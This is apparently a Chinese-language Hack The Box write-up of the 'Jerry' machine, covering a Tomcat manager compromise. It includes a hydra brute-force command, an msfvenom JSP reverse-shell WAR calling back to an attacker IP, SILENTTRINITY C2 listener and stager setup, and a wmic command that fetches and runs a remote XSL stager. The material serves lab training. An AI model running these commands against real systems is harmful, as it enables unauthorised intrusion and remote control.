← 返回列表

[HTB] Jerry Writeup

聚合站 SecWiki技术 作者 一个人的安全笔记 发布 2021年4月23日 07:30 入库 2026-11-18T19:48:41

前言

nmap

hydra

Jsp WebShell

信息收集

cat scans/tcpscripts.nmap# Nmap 7.91 scan initiated Sun Jan 10 10:11:15 2021 as: nmap -Pn -p 8080 -sC -sV -oA scans/tcpscripts 10.10.10.95Nmap scan report for 10.10.10.95Host is up (0.075s latency).PORT STATE SERVICE VERSION8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1|_http-favicon: Apache Tomcat|_http-open-proxy: Proxy might be redirecting requests|_http-server-header: Apache-Coyote/1.1|_http-title: Apache Tomcat/7.0.88Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Jan 10 10:11:25 2021 -- 1 IP address (1 host up) scanned in 10.13 seconds从端口开发来看仅有一个Apache Tomcat

这里我使用了一下 nmap 的一个漏洞搜索合集的脚本:https://github.com/scipag/vulscan , 目前看下来并没有什么实际意义,除了给你一堆CVE编号。

根据版本号去搜索 exploit ,查看脚本代码。


查看 42953.txt ,就是向目标服务器 PUT 一个 JSP 的脚本,使其能上传至目标服务。42966.py 脚本也是差不多的内容。没取得什么进展,尝试进行弱口令爆破。

google到了tomcat的默认账号密码列表:

https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

用 hydra 跑了一下认证,提示大部分都是可用的。用admin/admin登录了/manager/status,一点进入/manager/html管理页面则会提示权限不足。

所以加上对应的路径,再用 hydra 跑一下:hydra -L users.txt -P passwd.txt -t 20 10.10.10.95 -s 8080 http-get /manager/html

发现了一组新的账号,成功登录。

user and root flage

接下来就简单了,通过msfvenom生成一个java用的war包,上传到服务器上。

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.14.24" LPORT=9900 -f war > shell.war

在Tomcat中部署Java Web应用程序有两种方式:静态部署和动态部署。静态部署指的是我们在服务器启动之前部署我们的程序,只有当服务器启动之后,我们的Web应用程序才能访问。Web应用以.war文件的形式部署,所以可以将JSP程序打包成一个war包放在目录下,服务器会自动解开这个war包,并在这个目录下生成一个同名的文件夹。一个war包就是有特性格式的jar包,它是将一个Web程序的所有内容进行压缩得到。

部署成功后访问我的服务,nc上成功接收到了反弹shell。

奶思,管理员权限。

其他

后面我在查看 ippsec 的视频复盘时,发现他用一个有意思的 jsp shell:https://github.com/SecurityRiskAdvisors/cmd.jsp.git

下载代码后修改 cmd.jsp 中中的脚本,src到自己的IP地址。

将打包的war包上传后,访问部署好的jsp脚本。/cmd/cmd.jsp但是出现了问题,因为cookie中设置了 HttpOnly ,防止了XSS从而js脚本执行失败。无法得到一个可以命令执行的form表单。

视频里的是:

随后又使用了一个类似 msf 的工具:https://github.com/byt3bl33d3r/SILENTTRINITY 这项目近期还在持续更新呢…

SILENTTRINITY is modern, asynchronous, multiplayer & multiserver C2/post-exploitation framework powered by Python 3 and .NETs DLR.

SILENTTRINITY是由Python 3和.NETs DLR驱动的现代异步、多人和多服务器C2/post-exploitation框架。

因为视频是2年的,那时候才0.0.1版本,现在都出到0.4.6了,变化挺大。原先是服务端和客户端在一起,现在拆开了。

先启动一个服务端:

在启动客户端:

连接上服务器

开启个http的监听:

[1] ST (teamservers) ≫ listeners[1] ST (listeners) ≫ use http[1] ST (listeners) ≫ list[1] ST (listeners)(http) ≫ list -hGet running/available listenersUsage: list [-h] [(--running | --available)] []Arguments:name filter by listener nameOptions:-h, --help Show dis-r, --running List running listeners [default: True]-a, --available List available listeners[1] ST (listeners)(http) ≫ options┌Listener Options─────────┬─────────────┬───────────────────────────────────────────────┐│ Option Name │ Required │ Value │ Description │├──────────────┼──────────┼─────────────┼───────────────────────────────────────────────┤│ Name │ True │ http │ Name for the listener. │├──────────────┼──────────┼─────────────┼───────────────────────────────────────────────┤│ BindIP │ True │ 172.16.82.2 │ The IPv4/IPv6 address to bind to. │├──────────────┼──────────┼─────────────┼───────────────────────────────────────────────┤│ Port │ True │ 80 │ Port for the listener. │├──────────────┼──────────┼─────────────┼───────────────────────────────────────────────┤│ CallBackURls │ False │ │ Additional C2 Callback URLs (comma seperated) │├──────────────┼──────────┼─────────────┼───────────────────────────────────────────────┤│ Comms │ True │ http │ C2 Comms to use │└──────────────┴──────────┴─────────────┴───────────────────────────────────────────────┘[1] ST (listeners)(http) ≫ set BindIP 10.10.14.9[1] ST (listeners)(http) ≫ options┌Listener Options─────────┬────────────┬───────────────────────────────────────────────┐│ Option Name │ Required │ Value │ Description │├──────────────┼──────────┼────────────┼───────────────────────────────────────────────┤│ Name │ True │ http │ Name for the listener. │├──────────────┼──────────┼────────────┼───────────────────────────────────────────────┤│ BindIP │ True │ 10.10.14.9 │ The IPv4/IPv6 address to bind to. │├──────────────┼──────────┼────────────┼───────────────────────────────────────────────┤│ Port │ True │ 80 │ Port for the listener. │├──────────────┼──────────┼────────────┼───────────────────────────────────────────────┤│ CallBackURls │ False │ │ Additional C2 Callback URLs (comma seperated) │├──────────────┼──────────┼────────────┼───────────────────────────────────────────────┤│ Comms │ True │ http │ C2 Comms to use │└──────────────┴──────────┴────────────┴───────────────────────────────────────────────┘[1] ST (listeners)(http) ≫ list[1] ST (listeners)(http) ≫ start[+] Started listener 'http'[1] ST (listeners)(http) ≫接着生成攻击脚本:

[1] ST (listeners)(http) ≫ stagers[1] ST (stagers) ≫ list┌Available─────────────┬────────────────────────────────────────────────────────────────────────────────┐│ Name │ Description │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ dll │ Generates a windows dll stager │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ csharp │ Stage via CSharp source file │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ exe │ Generates a windows executable stager │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ powershell │ Stage via a PowerShell script │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ msbuild │ Stage via MSBuild XML inline C# task │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ wmic │ Stage via wmic XSL execution │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ raw │ Generate a raw binary file to use how you see fit │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ powershell_stageless │ Embeds the BooLang Compiler within PowerShell and directly executes STs stager │├──────────────────────┼────────────────────────────────────────────────────────────────────────────────┤│ shellcode │ Generate a shellcode payload │└──────────────────────┴────────────────────────────────────────────────────────────────────────────────┘[1] ST (stagers) ≫ use wmic[1] ST (stagers)(wmic) ≫ generate http[+] Generated stager to ./stager.xsl[1] ST (stagers)(wmic) ≫wmic 上线即可c:\windows\system32\wbem\wmic.exe os get /FORMAT:"http://10.10.14.9:81/stager.xsl"

通过session进入对应的会话

$ msfvenom -l payloads | grep jsp_shelljava/jsp_shell_bind_tcp Listen for a connection and spawn a command shelljava/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell$ msfvenom -l formatsFramework Executable Formats [--format ]===============================================Name----aspaspxaspx-exeaxis2dllelfelf-soexeexe-onlyexe-serviceexe-smallhta-pshjarjsploop-vbsmachomsimsi-nouacosx-apppshpsh-cmdpsh-netpsh-reflection...

原文链接:https://mp.weixin.qq.com/s/30Xpwv3H50KKcxl3jY8aYQ